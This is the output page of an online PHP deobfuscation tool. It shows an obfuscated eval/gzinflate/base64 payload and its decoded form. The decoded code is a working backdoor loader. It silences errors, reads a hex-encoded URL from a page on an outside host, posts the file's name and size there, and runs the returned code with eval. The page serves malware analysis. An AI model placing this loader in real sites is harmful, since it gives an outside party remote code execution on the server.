Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval(gzinflate(base64_decode(base64_decode("\104\121\160\x71\x56\x6c\150\117\x59\156\x52\1..

Decoded Output download

?><?php
session_start();
error_reporting(0);
function mrkpbgetFileName()
{
    return basename(__FILE__);
}

function mrkpbgetFileSize()
{
    return filesize(__FILE__);
}

function mrkpbbuildRequestData()
{
    $current_file = mrkpbgetFileName();
    $current_file_size = mrkpbgetFileSize();
    $data = array(
        'filename' => $current_file,
        'filesize' => $current_file_size,
    );
    return $data;
}

function mrkpbsendRequest($data)
{
	$url = "http://mod.kpb-fia.com";
	$kok = file_get_contents($url);
	$koi = explode('"',explode('content="165" name="',$kok)[1])[0];
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, hex2bin($koi));
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $result = curl_exec($ch);
    curl_close($ch);
    if(curl_errno($ch)) {
        $error = curl_error($ch);
        echo "Vui Lng Kim Tra Internet
";
    } 
    return $result;
}

function mrkpbexecuteScript()
{
    $data = mrkpbbuildRequestData();
    $result = mrkpbsendRequest($data);
    eval($result);
}

function mrkpbstartSession()
{
    session_start();
}

function mrkpbdisableErrorReporting()
{
    error_reporting(0);
}

function mrkpbgetCurrentFileName()
{
    return __FILE__;
}

function mrkpblog($message)
{
    $log_file = "log.txt";
    $timestamp = date("Y-m-d H:i:s");
    $log_message = "[{$timestamp}] {$message}
";
    file_put_contents($log_file, $log_message, FILE_APPEND);
}

mrkpbstartSession();
mrkpbdisableErrorReporting();
$filename = mrkpbgetCurrentFileName();
mrkpbexecuteScript();
?><?

Did this file decode correctly?

Original Code

eval(gzinflate(base64_decode(base64_decode("\104\121\160\x71\x56\x6c\150\117\x59\156\x52\167\x51\125\x56\x45\x4e\x46\x68\160\127\107\x52\x5a\126\61\160\x68\x64\x30\x70\154\x5a\130\x5a\x56\x62\156\x4e\x4a\x53\x6c\x5a\110\126\127\144\x43\x62\x30\132\106\x56\x31\x4a\x4a\x44\121\160\x77\x55\63\x42\x47\x62\x47\160\x46\x52\110\x4a\x48\x54\x48\132\x31\143\156\132\171\x61\127\150\141\x65\x44\x5a\x6f\144\152\105\x79\x62\x55\71\155\x63\x45\143\166\125\x31\144\x6d\117\127\x68\63\x51\x32\x6f\170\104\x51\160\103\127\155\x6f\x31\x4e\x58\102\61\x57\156\160\66\x55\105\x51\65\132\x46\x64\111\116\x6a\116\x6e\x57\x6b\x35\x34\x63\61\x4e\167\x53\x31\116\x6a\132\126\x5a\x4d\116\126\x46\163\142\104\x4a\x31\x4f\127\x74\x42\104\121\160\112\131\155\x70\63\121\x6b\61\123\x59\60\164\116\x62\x31\143\x78\143\x6d\163\x79\145\155\x68\x4e\x56\60\164\116\x55\x31\x4a\x54\124\110\160\x46\x4d\x48\x64\x58\x62\60\150\x6e\x4d\x57\x67\60\122\x57\122\x6e\x44\x51\x6f\171\131\172\116\110\144\130\122\x72\x5a\171\x74\102\x61\x46\106\160\126\60\x4a\162\116\x6d\x74\x30\132\172\x4a\x31\124\x6a\x56\x32\132\x6e\121\162\x4d\x53\x39\117\115\x43\71\x4c\x59\154\x70\x50\122\x55\154\65\x44\121\x70\x76\x61\x6a\x6c\170\x55\x30\x39\x69\142\62\x74\153\x63\x6e\160\x44\143\x32\163\167\x62\62\126\111\124\127\x68\x68\x4f\x45\160\x54\x53\106\x68\165\x53\x7a\x63\166\121\61\x70\102\x59\125\160\106\x54\x55\116\x56\x44\x51\160\x77\x4e\x32\x78\112\x63\x44\132\x69\x65\127\122\x6e\115\x31\x45\x77\115\127\x34\x7a\115\105\x5a\164\x53\x6b\112\x59\x63\x55\x64\150\125\x6b\122\x6e\121\x79\x74\x47\x4c\63\122\x36\x53\x32\x4a\x6d\x62\x47\70\62\104\121\160\130\144\155\132\153\x53\x58\101\x79\x63\x6c\150\x56\116\x57\65\105\x4e\x6c\132\125\123\105\164\x4d\125\63\x70\105\x62\x54\102\124\123\155\x46\x79\x61\62\x56\150\x63\x30\132\x33\121\172\106\115\144\x6e\x45\172\104\121\160\x56\142\107\144\164\144\x30\112\172\145\153\x56\x54\122\154\144\x68\125\63\x6c\127\141\127\153\x76\x55\x48\160\160\x53\x53\x74\120\115\106\147\x77\x65\x56\x70\66\x4e\156\102\63\122\x31\102\161\x54\x47\x46\110\104\121\160\62\x55\x45\106\x59\141\x45\x74\124\x4e\x58\116\127\124\130\x59\60\x52\130\150\157\x54\127\122\x4d\125\63\x4e\131\x59\125\x39\166\123\127\x6c\x42\x56\154\x4a\66\x65\x55\144\x57\132\63\122\x76\113\61\144\x56\x44\x51\157\172\x4d\60\x34\x77\145\x44\x64\x6f\116\103\70\64\x4e\x47\x64\x31\x64\153\126\120\x64\x57\x70\130\142\151\71\x59\144\x33\150\x7a\127\x69\71\x51\x53\x6a\132\130\x4f\106\115\x72\x56\x45\106\125\x61\60\71\121\104\x51\160\x4e\143\x58\x42\x4c\123\x56\x5a\x50\124\105\x4a\116\x56\155\x70\171\122\x48\x68\132\x54\63\x56\x55\x4d\x6e\x6c\x6c\x4d\103\71\105\x63\62\x4e\x6c\x5a\155\x70\157\x61\60\x4e\150\x64\124\116\126\x4f\107\71\172\x44\x51\x70\x59\127\125\x77\x35\x59\x58\x4e\x71\144\x32\116\x55\125\x6a\112\65\x54\126\131\166\116\106\x68\x79\115\x7a\116\155\x4e\x32\122\x35\124\127\x78\106\132\154\x52\131\121\172\x64\132\116\x6d\x59\x7a\124\125\x68\x5a\x44\x51\160\62\125\x6d\x31\116\x5a\x57\x77\171\115\x32\x74\x7a\124\x56\126\112\x53\x6b\65\122\x52\x6d\x45\172\121\153\116\x6e\123\127\122\x31\x56\x55\61\132\141\x45\x5a\x34\x51\x7a\106\x56\143\155\x35\x57\x62\61\x6c\x58\x44\121\x70\x6e\x64\x6b\x68\x56\x57\x56\x70\x51\x4d\x57\122\x71\x63\153\61\153\x55\107\x52\x4c\x55\63\131\x79\x61\x6b\144\x78\115\x47\x5a\x44\x53\x6d\x46\x6a\x52\60\157\x34\x55\61\116\62\x63\103\71\155\143\153\126\107\x44\x51\x70\x6c\x59\x55\x49\166\132\x69\x38\x72\x54\x58\154\107\141\x6a\121\x31\121\x6a\126\155\141\125\144\x44\x5a\63\x5a\x71\x51\127\160\105\117\127\x6c\122\x4d\x31\122\x49\123\61\x4e\x78\116\x47\x5a\x4b\x54\x6a\x46\102\x44\x51\x70\166\142\x55\x46\x56\121\x30\x6c\166\x59\126\x5a\x4f\127\x57\x39\165\x4c\62\116\161\x4e\x6a\x4e\150\x5a\63\x68\167\122\x33\x42\x36\x53\x45\x68\x33\x65\154\x45\x72\144\x45\x68\x49\x65\107\164\x77\132\x45\x35\115\104\121\x70\x4f\124\130\x4a\x50\126\130\106\130\124\63\x63\x77\124\154\132\x46\x65\x6e\126\x71\x4d\x48\101\x72\x52\x7a\x42\117\x57\105\x74\61\132\126\126\x47\x4d\x6a\126\115\x56\124\x4e\x79\131\152\x59\x79\x4d\61\116\x69\104\121\x70\171\x5a\x57\112\x34\124\172\x46\x6b\x59\63\x42\165\x63\x55\144\x72\x51\172\x68\172\124\x54\150\114\131\x53\71\x52\126\154\126\64\122\x56\x4a\66\x59\61\153\64\124\x53\71\111\x4e\x6e\x46\x57\143\x58\101\x30\104\x51\x70\x58\131\127\106\160\141\125\x5a\x6b\113\60\x5a\114\124\x56\122\117\125\126\102\115\113\60\x68\63\x55\x32\x35\152\x65\x6b\x6c\x34\x4d\x48\121\x32\123\61\153\x78\x55\x32\106\x56\x4d\154\112\106\115\156\126\x58\104\121\x6f\x31\114\x31\125\x79\x59\x30\x52\116\141\x44\132\65\124\110\x42\x61\141\x6e\x4e\110\x4e\x6c\x6c\151\x53\x46\x4e\x59\x57\x45\x52\x70\x65\x6e\106\x6a\x53\106\121\x32\123\x48\x42\104\x4d\62\122\105\123\x57\x5a\x6b\x44\121\x70\63\126\x6a\102\167\126\x47\x4d\170\x59\155\106\x6c\x5a\154\144\112\115\x33\106\x71\115\x6e\x6c\x36\124\61\x6c\x6c\x56\x31\144\x49\x61\62\x68\150\x4d\105\x39\66\x54\x6b\x68\x77\143\x58\x59\x34\x5a\151\71\167\104\121\160\111\144\172\60\71\x44\x51\157\75"))));

Function Calls

gzinflate 1
base64_decode 2

Variables

None

Stats

MD5 9b071663bc69b1a89a557d4a5c55be85
Eval Count 1
Decode Time 61 ms